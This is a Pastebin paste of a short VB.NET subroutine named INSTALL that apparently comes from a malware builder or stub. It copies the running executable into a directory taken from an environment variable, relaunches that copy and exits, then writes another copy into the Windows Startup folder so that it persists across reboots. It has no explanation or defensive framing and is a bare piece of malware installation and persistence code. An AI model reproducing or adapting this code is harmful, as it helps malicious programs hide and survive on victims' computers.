Advertisement
Tsunamii

Untitled

Jul 25th, 2016
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. Sub INSTALL()
  2.  
  3. If CopyToPath Then
  4. Try
  5. Thread.Sleep(&H3E8)
  6. If File.Exists((Interaction.Environ(DIR) & "\" & CopyToPathName)) Then
  7. File.Delete((Interaction.Environ(DIR) & "\" & CopyToPathName))
  8. End If
  9. Dim StreamFile As New FileStream((Interaction.Environ(DIR) & "\" & CopyToPathName), FileMode.CreateNew)
  10. Dim AC As Byte() = File.ReadAllBytes(InfoFile.FullName)
  11. StreamFile.Write(AC, 0, AC.Length)
  12. StreamFile.Flush()
  13. StreamFile.Close()
  14. InfoFile = New FileInfo((Interaction.Environ(DIR) & "\" & CopyToPathName))
  15. 'Process.Start(InfoFile.FullName)
  16. ShellExecute(0, "", InfoFile.FullName, "", "", 1)
  17. ProjectData.EndApp()
  18. Catch x As Exception
  19. End Try
  20. End If
  21. System.Threading.Thread.Sleep(9000)
  22. If CopyStartup Then
  23. Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
  24. Dim stream As New FileStream((xx & "\" & StartupName & ".exe"), FileMode.CreateNew)
  25. Dim array As Byte() = File.ReadAllBytes(InfoFile.FullName)
  26. stream.Write(array, 0, array.Length)
  27. stream.Flush()
  28. stream.Close()
  29. End If
  30.  
  31. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement